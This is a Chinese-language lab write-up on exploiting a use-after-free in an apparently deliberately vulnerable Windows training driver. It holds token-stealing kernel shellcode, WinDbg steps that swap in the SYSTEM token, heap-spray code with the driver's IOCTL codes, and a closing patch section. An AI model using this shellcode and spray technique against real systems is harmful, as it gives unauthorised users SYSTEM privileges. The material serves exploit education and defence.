x64
获取cmd的token
- 使用
!process 0 1 cmd.exe
获取cmd的地址 - 使用
dt _eprocess
查看token位置 - 使用
dd+地址
获取cmd的token值
然后修改为system的token
- 使用同样的方式获取system的token
- 使用
ed+地址+值
修改cmd的token为system的token
x86
漏洞原理
提权原理
首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息
kd> !dml_proc
Address PID Image file name
865cd8e8 4 System
89cff600 10c smss.exe
88178030 164 csrss.exe
...
8345f030 ff0 cmd.exe
886785f8 ff8 conhost.exe
我们可以看到System
的地址是 865cd8e8 ,cmd
的地址是 8345f030 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token
的位置是在进程偏移为 0xf8 的地方,也就是Value
的值,那么什么是token
?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token
为系统的token
,那么就可以提权成功,我们手动操作一次下面是修改前token
值的对比
kd> dt nt!_EX_FAST_REF 865cd8e8+f8
+0x000 Object : 0x8b401273 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x8b401273 \\system token
kd> dt nt!_EX_FAST_REF 8345f030+f8
+0x000 Object : 0xa599049a Void
+0x000 RefCnt : 0y010
+0x000 Value : 0xa599049a \\cmd token
我们通过ed命令修改cmd token的值为system token
kd> ed 8345f030+f8 8b401273
kd> dt nt!_EX_FAST_REF 8345f030+f8
+0x000 Object : 0x8b401273 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x8b401273
用whoami
命令发现权限已经变成了系统权限
我们将上面的操作变为汇编的形式如下
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
fs寄存器在Ring0
中指向一个称为KPCR
的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0
中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB
数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead
(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD
kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void
+0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit
+0x03c ReadyTransition : Pos 1, 1 Bit
+0x03c ProcessReadyQueue : Pos 2, 1 Bit
+0x03c WaitNext : Pos 3, 1 Bit
+0x03c SystemAffinityActive : Pos 4, 1 Bit
+0x03c Alertable : Pos 5, 1 Bit
+0x03c GdiFlushActive : Pos 6, 1 Bit
+0x03c UserStackWalkActive : Pos 7, 1 Bit
+0x03c ApcInterruptRequest : Pos 8, 1 Bit
+0x03c ForceDeferSchedule : Pos 9, 1 Bit
+0x03c QuantumEndMigrate : Pos 10, 1 Bit
+0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit
+0x03c TimerActive : Pos 12, 1 Bit
+0x03c SystemThread : Pos 13, 1 Bit
+0x03c Reserved : Pos 14, 18 Bits
+0x03c MiscFlags : Int4B
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [23] UChar
+0x057 Priority : Char
+0x058 NextProcessor : Uint4B
+0x05c DeferredProcessor : Uint4B
+0x060 ApcQueueLock : Uint4B
+0x064 ContextSwitches : Uint4B
+0x068 State : UChar
+0x069 NpxState : Char
+0x06a WaitIrql : UChar
+0x06b WaitMode : Char
+0x06c WaitStatus : Int4B
+0x070 WaitBlockList : Ptr32 _KWAIT_BLOCK
+0x074 WaitListEntry : _LIST_ENTRY
+0x074 SwapListEntry : _SINGLE_LIST_ENTRY
+0x07c Queue : Ptr32 _KQUEUE
+0x080 WaitTime : Uint4B
+0x084 KernelApcDisable : Int2B
+0x086 SpecialApcDisable : Int2B
+0x084 CombinedApcDisable : Uint4B
+0x088 Teb : Ptr32 Void
+0x090 Timer : _KTIMER
+0x0b8 AutoAlignment : Pos 0, 1 Bit
+0x0b8 DisableBoost : Pos 1, 1 Bit
+0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit
+0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit
+0x0b8 CalloutActive : Pos 4, 1 Bit
+0x0b8 ApcQueueable : Pos 5, 1 Bit
+0x0b8 EnableStackSwap : Pos 6, 1 Bit
+0x0b8 GuiThread : Pos 7, 1 Bit
+0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit
+0x0b8 VdmSafe : Pos 9, 1 Bit
+0x0b8 UmsDispatched : Pos 10, 1 Bit
+0x0b8 ReservedFlags : Pos 11, 21 Bits
+0x0b8 ThreadFlags : Int4B
+0x0bc ServiceTable : Ptr32 Void
+0x0c0 WaitBlock : [4] _KWAIT_BLOCK
+0x120 QueueListEntry : _LIST_ENTRY
再来看看_EPROCESS的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token之后替换就行了
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
UAF原理
如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
- 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag
函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject
中存在g_UseAfterFreeObject->Callback()
;的片段,如果我们将Callback
覆盖为shellcode
就可以提权了
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
0x02:漏洞利用
利用思路
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。
利用代码
根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
接下来我们进行堆喷射
for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler
函数得到的,我们通过DeviceIoControl
函数实现对驱动中函数的调用,下面原理相同
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
如果你不清楚DeviceIoControl函数的话可以参考官方文档
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
0x03:补丁思考
对于 UseAfterFree
, 漏洞利用是在 free
掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree
的发生,而在FreeUaFObject()
函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject
置为NULL
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
下面是在UseUaFObject()
函数中的修复方案:
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}